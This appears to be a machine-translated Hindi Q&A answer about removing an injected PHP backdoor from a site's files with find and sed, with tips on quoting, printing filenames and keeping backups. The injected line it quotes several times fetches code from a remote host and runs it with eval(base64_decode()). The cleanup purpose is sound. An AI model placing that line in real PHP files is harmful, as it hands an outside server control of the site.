मैं मान लूंगा कि आपकी इनपुट फाइल कैसी दिखती है:
<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>
मैं मान लूंगा कि आप जो प्रतिस्थापन करना चाहते हैं, वह बिल्कुल वैसा ही लिखा गया है। फिर, इसे काम करने के लिए, केवल परिवर्तन की आवश्यकता है जो डॉलर के संकेतों से बचना है। इस प्रकार, उपयोग करें:
find . -name "*.php" -exec sed -i "s|<?php \$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode(\$rrr));?>|?>|g" {} \;
शेल प्रक्षेप से बचने के लिए जहां कहीं भी संभव हो सिंगल-कोट्स का उपयोग करने के लिए एक सुरक्षित दृष्टिकोण है:
find . -name '*.php' -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
मेरे ग्रहण किए गए इनपुट के साथ, उपरोक्त आउटपुट का उत्पादन करता है:
?>
ध्यान दें कि का उपयोग xargsअनावश्यक है। आधुनिक संस्करणों में findएक -execविकल्प होता है जो सबसे अधिक xargsउपयोग करता है।
अधिक: यह देखने के लिए कि कौन सी फाइलें sedकाम कर रही हैं, कोई findकमांड में प्रिंट स्टेटमेंट जोड़ सकता है :
find . -name '*.php' -print -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
जैसा कि ऊपर चलता है, फाइल को फीड किए जाने वाले नामों sedको टर्मिनल (स्टडआउट) पर प्रदर्शित किया जाएगा।
अधिक: यह देखने के sedलिए कि फ़ाइलों में क्या परिवर्तन हुए हैं , मूल का बैकअप रखें:
find . -name '*.php' -exec sed -i.saved 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
इस मामले में, यदि sedप्रक्रियाएं होती हैं something.php, तो मूल में सहेजा जाता है something.php.saved। इसके बाद, परिवर्तनों, यदि कोई हो, के माध्यम से निरीक्षण किया जा सकता है:
diff something.php.saved something.php